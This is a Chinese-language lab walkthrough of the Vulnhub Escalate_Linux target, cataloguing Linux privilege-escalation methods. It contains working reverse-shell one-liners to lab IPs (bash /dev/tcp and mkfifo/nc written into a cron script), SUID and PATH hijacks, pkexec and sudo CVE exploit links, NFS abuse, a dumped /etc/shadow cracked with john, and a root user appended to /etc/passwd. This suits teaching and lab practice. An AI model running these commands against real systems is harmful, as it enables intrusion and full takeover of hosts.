0%

Escalate_Linux

前言

在日常渗透测试过程中,通常会先拿到webshell,当拿到的权限过低时,需要提升权限近一步渗透。本篇将以Vulnhub的Escalate_Linux靶场为例,总结一下linux环境下常见的提权方法。

信息搜集

探测发现主机

1
sudo netdiscovert -r 192.168.80.1/24

找到靶机IP 192.168.80.53 (由于网络变动 靶机ip后面会变化)

端口扫描

1
sudo nmap -Pn -sV 192.168.80.53

截图截图

1
nmap -sVC -p- 192.168.80.53

截图截图

存在http web服务、139、445、smb、nfs

先看下http服务

访问为Apache 默认页面 dirsearch 扫下目录

截图截图

发现存在 shell.php 普通用户权限

截图截图

截图截图

截图截图

反弹shell

利用nc 反弹bash

1
/bin/bash -c 'bash -i >& /dev/tcp/192.168.80.56/3344 0>&1'

利用burpsuite 进行url编码

1
%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%38%30%2e%37%33%2f%33%33%34%34%20%3e%26%31%27 

反弹得到shell

截图![file:///var/folders/9f/vk166n511ng3f8ljv5qvq_tm0000gn/T/utools.notes/f790198318d6609601f07e5740f24ca2.png)

权限提升

0x00 LinEnum脚本枚举

https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

截图截图

0x01 SUID提权

截图截图

1
find / -perm -u=s -type f 2>/dev/null

截图截图

user3下 执行可直接得到root权限

截图截图

截图截图

除了shell之外 还存在一个root权限且具有写入权限的 .script.sh 脚本 利用该脚本将bash写到tmp下并给予s权限

截图截图

echo "cp /bin/bash /tmp/sh" > .script.sh echo "chmod +s /tmp/sh" > .script.sh

截图截图

./shell

截图截图

./sh -p

截图截图

0x02 环境变量提权

在user5下 也存在s 权限的 script 文件

运行后功能 等同于 ls

1
2
3
4
5
6
7
cd /tmp
echo "/bin/bash" > ls
chmod 777 ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script

截图截图

截图截图

0x03 Pkexec提权

https://github.com/nikaiw/CVE-2021-4034/blob/master/cve2021-4034.py

https://github.com/berdav/CVE-2021-4034

前面发现有python3环境 直接尝试python3的poc

截图截图

由于也存在gcc环境 可以下载c版本 然后make编译运行

截图截图

0x04 Mysql弱口令信息泄露

根据linEnum 找到mysql弱口令 root/root

截图截图

得到一个账号密码 前面cat /etc/passwd时 发现存在mysql用户

使用该用户密码 可以登录

find / -user mysql 查看mysql用户下所属文件

截图截图

cat /etc/mysql/secret.cnf 得到root用户的登录密码 【但是该密码并无法登录到root用户】

截图截图

/var/mysql/.informations 没权限 需要root权限才可以

通过前面的pkexec 的root权限查看该文件 得到user2~user8的登录密码 user{i}@12345

截图截图

0x05 Corntab提权

cat /etc/crontab 发现在user4下存在root权限的定时任务

截图截图

先切换到user4用户下

截图截图

autoscript.sh 在user4下具有写权限

用echo 覆写进去 反弹nc shell

python -c 'import pty;pty.spawn("/bin/bash")'

1
/bin/bash -c 'bash -i >& /dev/tcp/192.168.80.60/8899 0>&1'  

中间有 ' 不太好处理 利用管道处理 mkfifo

1
2
echo 'mkfifo /tmp/tmpipe;  nc 192.168.80.60 8899 0</tmp/tmpipe | /bin/bash > /tmp/tmpipe 2>&1; rm /tmp/tmpipe' > autoscript.sh
./autoscript.sh

截图截图

得到user4用户 但是是root权限

截图截图

0x06 NFS挂载提权【未成功】

前面nmap扫端口时候 发现有nfs服务

利用LinEnum收集也找到了nfs相关信息

/home/user5目录下开启了 no_root_squash

截图截图

1.查看NFS服务器上的共享目录

1
sudo showmount -e 192.168.80.56

截图截图

2.创建本地挂载目录 挂载共享目录 利用攻击机kali本地root权限创建suid shell

1
2
3
4
5
6
7
sudo mkdir -p /tmp/data

sudo mount -t nfs 192.168.80.56:/home/user5 /tmp/data

sudo cp /bin/sh /tmp/data/shell

sudo chmod u+s /tmp/data/shell

但是不管尝试bash 还是sh 都会报错 libtinfo.so文件缺失

(在ubuntu18下 经常会出现该问题 在ubuntu20下则不会有 由于靶机是ubuntu版本所以会报错缺失so文件)

截图截图

0x07 john 爆破密码

通过前面提权方式 cat /etc/shadow

获取相关用户shadow信息 前面通过数据库已得到了user1-8的密码

1
2
3
4
5
6
7
8
9
10
root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1:18050:0:99999:7:::
user1:$6$9iyn/lCu$UxlOZYhhFSAwJ8DPjlrjrl2Wv.Pz9DahMTfwpwlUC5ybyBGpuHToNIIjTqMLGSh0R2Ch4Ij5gkmP0eEH2RJhZ0:18050:0:99999:7:::
user2:$6$7gVE7KgT$ud1VN8OwYCbFveieo4CJQIoMcEgcfKqa24ivRs/MNAmmPeudsz/p3QeCMHj8ULlvSufZmp3TodaWlIFSZCKG5.:18050:0:99999:7:::
user3:$6$PaKeECW4$5yMn9UU4YByCj0LP4QWaGt/S1aG0Zs73EOJXh.Rl0ebjpmsBmuGUwTgBamqCCx7qZ0sWJOuzIqn.GM69aaWJO0:18051:0:99999:7:::
user4:$6$0pxj6KPl$NA5S/2yN3TTJbPypEnsqYe1PrgbfccHntMggLdU2eM5/23dnosIpmD8sRJwI1PyDFgQXH52kYk.bzc6sAVSWm.:18051:0:99999:7:::
user5:$6$wndyaxl9$cOEaymjMiRiljzzaSaFVXD7LFx2OwOxeonEdCW.GszLm77k0d5GpQZzJpcwvufmRndcYatr5ZQESdqbIsOb9n/:18051:0:99999:7:::
user6:$6$Y9wYnrUW$ihpBL4g3GswEay/AqgrKzv1n8uKhWiBNlhdKm6DdX7WtDZcUbh/5w/tQELa3LtiyTFwsLsWXubsSCfzRcao1u/:18051:0:99999:7:::
mysql:$6$O2ymBAYF$NZDtY392guzYrveKnoISea6oQpv87OpEjEef5KkEUqvtOAjZ2i1UPbkrfmrHG/IonKdnYEec0S0ZBcQFZ.sno/:18053:0:99999:7:::
user7:$6$5RBuOGFi$eJrQ4/xf2z/3pG43UkkoE35Jb0BIl7AW/umj1Xa7eykmalVKiRKJ4w3vFEOEOtYinnkIRa.89dXtGQXdH.Rdy0:18052:0:99999:7:::
user8:$6$fdtulQ7i$G9THW4j6kUy4bXlf7C/0XQtntw123LRVRfIkJ6akDLPHIqB5PJLD4AEyz7wXsEhMc2XC4CqiTxATfb20xWaXP.:18052:0:99999:7:::

john shadow.txt

得到root用户密码为 12345

截图截图

成功登录到root用户

截图截图

0x08 sudo提权1 — vi 提权

登录user8 sudo -l

截图截图

vi 提权 参考 https://gtfobins.github.io/gtfobins/vi/

1
2
3
4
5
6
sudo vi 
:!sh
或者
sudo vi
:set shell=/bin/sh
:shell

截图截图

截图截图

0x09 sudo提权 2

登录到user2

sudo -l

截图截图

user2下所以 user1均具有权限

登录到user1 sudo -l

截图截图

user1 具有所有权限 可直接su 登录root

0x0a sudo堆缓冲区溢出提权

sudo -V

截图截图

该版本存在sudo 堆缓冲区溢出漏洞

影响版本在

  • Sudo 1.8.2 - 1.8.31p2
  • Sudo 1.9.0 - 1.9.5p1

POC : https://github.com/Rvn0xsy/CVE-2021-3156-plus

通过前面nfs挂载 直接在kali下下载poc 拷贝到user5目录下 make编译

1
/expolit "id"

截图截图

0x0b root用户组提权 — 写入/etc/passwd

cat /etc/group 查看用户组

截图截图

用户user4 user7 可以修改 /etc/passwd 写入新建用户

在kali下利用openssl

截图截图

openssl passwd -1 -salt test test

1
2
$1$test$pi/xDtU5WFVRqYS6BMU8X/
echo 'test:$1$test$pi/xDtU5WFVRqYS6BMU8X/:0:0:/root:/bin/bash' >> /etc/passwd

截图截图

小结

1.内核漏洞提权

根据内核版本找对应版本的漏洞进行提权

1
2
3
4
# 查看系统发行版本
lsb_release -a
# 查看内核版本
uname -a

2.SUID提权

SUID可以让程序调用者以文件所有者身份运行该文件,当我们以普通用户去运行一个root用户所有的SUID文件,那么运行该文件后就可以获取到root权限。

查找具有s权限的文件

find / -perm -u=s -type f 2>/dev/null

3.sudo提权

普通用户在使用sudo执行命令时,将会以root方式执行命令。在很多场景下通过配置sudoer文件可实现免密以root权限运行。通过sudo -l 查找用户下高权限第三方应用,可借助GTFOBins进行提权。

4.计划任务提权

系统中可能会有一些定时执行的任务,这些任务都由crontab管理,可通过cat /etc/crontab查看计划任务,检查是否存在可以利用的文件,其本质就是文件权限配置不当。

5. 环境变量提权

当在目标机器查到具有SUID权限的编译文件,则可以通过以下方法获取管理员权限

  • 1.echo命令法
1
2
3
4
5
6
7
cd /tmp
echo "/bin/bash" > ls
chmod 777 ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
  • 2.cp 法
1
2
3
4
5
cd /home/user5/
cp /bin/sh /tmp/ls
echo $PATH
export PATH=/tmp:$PATH
./script
  • 3.软连接法(在此靶场中无法利用)
1
2
3
4
ln -s /bin/sh /tmp/ls
export PATH=/tmp:$PATH
cd /home/user5/
./script

6.第三方服务提权

6.1 NFS提权

当服务器中存在nfs共享,且开启了****no_root_squash****时[可通过 cat /etc/exports查看],如果客户端使用的是root用户,那么对于共享目录来说就有root权限,以此提升权限。

  • 1.查看NFS服务器共享目录
  • 2.创建本地挂载目录 挂载共享目录,利用攻击者本地root权限创建suid shell
  • 3.在服务器中以普通用户运行shell -p 以获取root权限
6.2 数据库提权

Mysql数据库提权有UDF提权、MOF提权、写入启动项等方式来提权,较为常见是则是UDF提权,具体步骤可分如下几步:

  • 1.连接数据库
  • 2.创建自定义函数
  • 3.设置自定义函数权限
  • 4.执行自定义函数以获取root权限

### References

https://gtfobins.github.io/

https://github.com/wwl012345/Vuln-List/blob/main/Windows%26Linux%E6%8F%90%E6%9D%83%26RCE%E5%90%88%E9%9B%86.md#Linux%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------